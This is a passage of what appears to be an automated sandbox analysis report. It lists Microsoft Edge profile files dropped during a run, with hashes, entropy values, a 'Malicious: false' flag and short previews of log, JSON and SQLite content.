C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.112658974458419
Encrypted:	false
SSDEEP:	6:yR5mL+q2PcNwi23oH+Tcwt7Uh2ghZIFUt85R5NT1Zmw+5R5NFLVkwOcNwi23oH+Q:yPmyvLZYebIhHh2FUt85PP/+5PrR54Z0
MD5:	6009B6F8C201854025C00DDC3E6161BA
SHA1:	329DD23B039DF7E0470FA3452BFDA92B19B1AE4C
SHA-256:	7708A5156ABD6D3B7C7376F04538601C6346EF77EC6AE7EBD35513C02458A0E6
SHA-512:	D91708C1B73921209713696B8AB734F350908123B3E0C1BFDDAEEEED4E9EB5B61FA5AF9841B79D47FC65632474B494CFB09E91C3BFCD294D6CA10CCA068564B8
Malicious:	false
Preview:	2024/12/01-21:07:46.001 1f18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/01-21:07:46.002 1f18 Recovering log #3.2024/12/01-21:07:46.002 1f18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0018164538716206493
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEZlqG0l:/M/xT02z9G0
MD5:	DD15D8DB7BE16FA504584F7ABBF3114A
SHA1:	30FE9F946728DC16AEBFD9B536C429F4508F20AF
SHA-256:	27A6F53D976B25055DE90468DB1B58B3B5864591C2C3C115BFD295F1CB62EAB1
SHA-512:	DC053B295004AC0D2F5AC8133059ECB63B4AC9994EDFAB28FBFB69F420B9581D2C79161A097282C7A7B5257DD5976881208BB0BD7F8780E2D35D73BD0707B5BE
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.204308711832633
Encrypted:	false
SSDEEP:	12:yPkQ0+vLZYebvqBQFUt85PxYBAW/+5P0V54ZYebvqBvJ:ycQ1lYebvZg85DmoYebvk
MD5:	3BF39C59C905A3F30BF1DE426F101338
SHA1:	1CBB4A387EE0DFB90EA61488217097E9A74DDF74
SHA-256:	BD2FAA16C37CD5CE8B050ACE0DDF82469237AF76E8494FA78F87156AAEE46D8C
SHA-512:	20177B6E07959008CC082B535A012AB072CE70343401361A7D5A9AD36AF0F409FDDC55CE9BB58C9B0C9614125D798BF2D2A0B215F9424DE6BF20DA466C1A8232
Malicious:	false
Preview:	2024/12/01-21:07:47.405 1d3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/01-21:07:47.414 1d3c Recovering log #3.2024/12/01-21:07:47.425 1d3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.204308711832633
Encrypted:	false
SSDEEP:	12:yPkQ0+vLZYebvqBQFUt85PxYBAW/+5P0V54ZYebvqBvJ:ycQ1lYebvZg85DmoYebvk
MD5:	3BF39C59C905A3F30BF1DE426F101338
SHA1:	1CBB4A387EE0DFB90EA61488217097E9A74DDF74
SHA-256:	BD2FAA16C37CD5CE8B050ACE0DDF82469237AF76E8494FA78F87156AAEE46D8C
SHA-512:	20177B6E07959008CC082B535A012AB072CE70343401361A7D5A9AD36AF0F409FDDC55CE9BB58C9B0C9614125D798BF2D2A0B215F9424DE6BF20DA466C1A8232
Malicious:	false
Preview:	2024/12/01-21:07:47.405 1d3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/12/01-21:07:47.414 1d3c Recovering log #3.2024/12/01-21:07:47.425 1d3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3b23ff74-726a-46d9-b26e-c88bd9e55cc3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF283fb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b6518ea8-d7b8-4205-b7d8-34ae362342dc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c35c4b55-ff09-45b4-ac33-be02035f6376.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\eb029a8c-ed7a-4a18-85a4-4fce1ab93872.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.240735057840053
Encrypted:	false
SSDEEP:	12:y9z4vLZYebvqBZFUt85G3J/+5xUEXD54ZYebvqBaJ:y9zKlYebvyg85G3EpVoYebvL
MD5:	E3B5C557436D7B54E6F9D3A7D66776A1
SHA1:	37467C6DBF81647174E037F6C1D0121B673F2746
SHA-256:	8107F8D8FC4EAF14F37450BF9E5DD41C09AE99D51E185CF61CCA731C59497EA0
SHA-512:	7C3CE8E9D88ED263BACA0BE1BBB0713DEB868A54ABED21EB62F5C9527A76C3D84DD2692038B18A5B89F2A57170388F9FBE0F98B7176CA419E34B2C18532A0199
Malicious:	false
Preview:	2024/12/01-21:08:03.543 1c68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/01-21:08:03.544 1c68 Recovering log #3.2024/12/01-21:08:03.547 1c68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.240735057840053
Encrypted:	false
SSDEEP:	12:y9z4vLZYebvqBZFUt85G3J/+5xUEXD54ZYebvqBaJ:y9zKlYebvyg85G3EpVoYebvL
MD5:	E3B5C557436D7B54E6F9D3A7D66776A1
SHA1:	37467C6DBF81647174E037F6C1D0121B673F2746
SHA-256:	8107F8D8FC4EAF14F37450BF9E5DD41C09AE99D51E185CF61CCA731C59497EA0
SHA-512:	7C3CE8E9D88ED263BACA0BE1BBB0713DEB868A54ABED21EB62F5C9527A76C3D84DD2692038B18A5B89F2A57170388F9FBE0F98B7176CA419E34B2C18532A0199
Malicious:	false
Preview:	2024/12/01-21:08:03.543 1c68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/01-21:08:03.544 1c68 Recovering log #3.2024/12/01-21:08:03.547 1c68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.1777578845875585
Encrypted:	false
SSDEEP:	6:yR5rSDM+q2PcNwi23oH+TcwtpIFUt85R5YSgZmw+5R5YSDMVkwOcNwi23oH+Tcwd:yPmDM+vLZYebmFUt85PYSg/+5PYSDMVY
MD5:	7C1D276740CBC8D73A663AAE35DC1CE5
SHA1:	3DAB2B68BFABF62BD1638BFAB82D3BA8AC335469
SHA-256:	E4841E18E5A460FCA1D6FB662DD9E6BA39F5803689187424584B8D4E2D3EB5A2
SHA-512:	13D30964B60D1835AC0954202C9AA9193F2996A2E07CFB2094B364E2C10AE9B83CF963D87714D0F792FF6722D42E041562BBDD937CB37396580A2114EB622E27
Malicious:	false
Preview:	2024/12/01-21:07:46.139 1efc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/01-21:07:46.141 1efc Recovering log #3.2024/12/01-21:07:46.141 1efc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.1777578845875585
Encrypted:	false
SSDEEP:	6:yR5rSDM+q2PcNwi23oH+TcwtpIFUt85R5YSgZmw+5R5YSDMVkwOcNwi23oH+Tcwd:yPmDM+vLZYebmFUt85PYSg/+5PYSDMVY
MD5:	7C1D276740CBC8D73A663AAE35DC1CE5
SHA1:	3DAB2B68BFABF62BD1638BFAB82D3BA8AC335469
SHA-256:	E4841E18E5A460FCA1D6FB662DD9E6BA39F5803689187424584B8D4E2D3EB5A2
SHA-512:	13D30964B60D1835AC0954202C9AA9193F2996A2E07CFB2094B364E2C10AE9B83CF963D87714D0F792FF6722D42E041562BBDD937CB37396580A2114EB622E27
Malicious:	false
Preview:	2024/12/01-21:07:46.139 1efc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/01-21:07:46.141 1efc Recovering log #3.2024/12/01-21:07:46.141 1efc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2652177224696297
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMgSAELyKOMq+8HKkjucswRv8p3nVumr:K0q+n0Jg9ELyKOMq+8HKkjuczRv89P
MD5:	1C09C99761AD5E8D5847B6ED8128AE6A
SHA1:	647812EFDBA34CAC115C2092D87C5FFF377BAFEC
SHA-256:	7E4297D20BE4D0ADD99A1415F079CD00CBE37CC9F02F12AD544EC63590800445
SHA-512:	D2C54A76157C10CA1EB68F5969B5F3641A01A77B833CB32813B8151E928461A7C19C09550CBA2A3BE7FC5C25ED6C2643C700711AA70BDD4E56F577A041BFF09E
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46611128992546685
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcBxWT5Q:v7doKsKuKZKlZNmu46yjxxW9Q
MD5:	D224170FEC0EEDF44A79A3CAB119F6B7
SHA1:	4C9B39403E131766ACD73092E17488B37A3F3E70
SHA-256:	23E0524A1D6853B68980718D012937D3305D9A669FF21DFAB36295EA421455C7
SHA-512:	345C54414E7D7597D822334A2A0C106E9CAD7C39C1FB54BC51A260ED43B5A5E6DD5C7C96F2E0E131D9A8546C9C672734CC4A0E79C37AECB52FCAA9FB862975A5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a126ac6d-10a9-44aa-9aa5-8688d920b5a3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13421
Entropy (8bit):	5.278637472567225
Encrypted:	false
SSDEEP:	192:stHJ99QTryDiuabatSuyppsH52yaNPsz8MFkxp5m8rbV+FLMCYQAmfz0PyYJ:stHPGQSu4psZ2tJsz83bGLMbQpfzG
MD5:	ECD078DD1C6B9C7CCABA047E0192047F
SHA1:	4B8957819ED2A0C0F72E907AC6B9C28CE33FF5AE
SHA-256:	A76AAD2825178A91C701CC40875A67C1EA47659D1E3814093A5855F31751A11B
SHA-512:	D1ABC061F20996E024EF0491F80E3DDDF4F6A873AE430704A6A46512C0230417F896A3FEEFEEE49A5D8CF1808924621AF6B47D9D12061BCA6092F717916F4931
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377578866952554","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a2b6eae7-8930-430c-9a3e-f30485f0bc5e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561630922830758
Encrypted:	false
SSDEEP:	768:uoIre2D7pLGLP/NWP//fww8F1+UoAYDCx9Tuqh0VfUC9xbog/OVR98TWDbrwEPZt:uoIre21cP/NWP//fwwu1jaw98iDwEP06
MD5:	3DCE03E4758DB8970EBAC4194F4AB716
SHA1:	0A8A24C373EC0AACAB6F3320F850726F59BB3F6F
SHA-256:	C4A0CEA08B41D1E4066BDC042F735AC72E91D536FC1F4E79CD4D86CC71FD44E9
SHA-512:	D29C5EC5D4AFE79D4B1E5B254F509FEF137B4FAC0811B38957D4BEF51EAE3648CE644F7B4C38AB9DDA7CD98F5A6F2110039A56F62F21B48EAAB569896598AD05
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377578865933073","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377578865933073","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
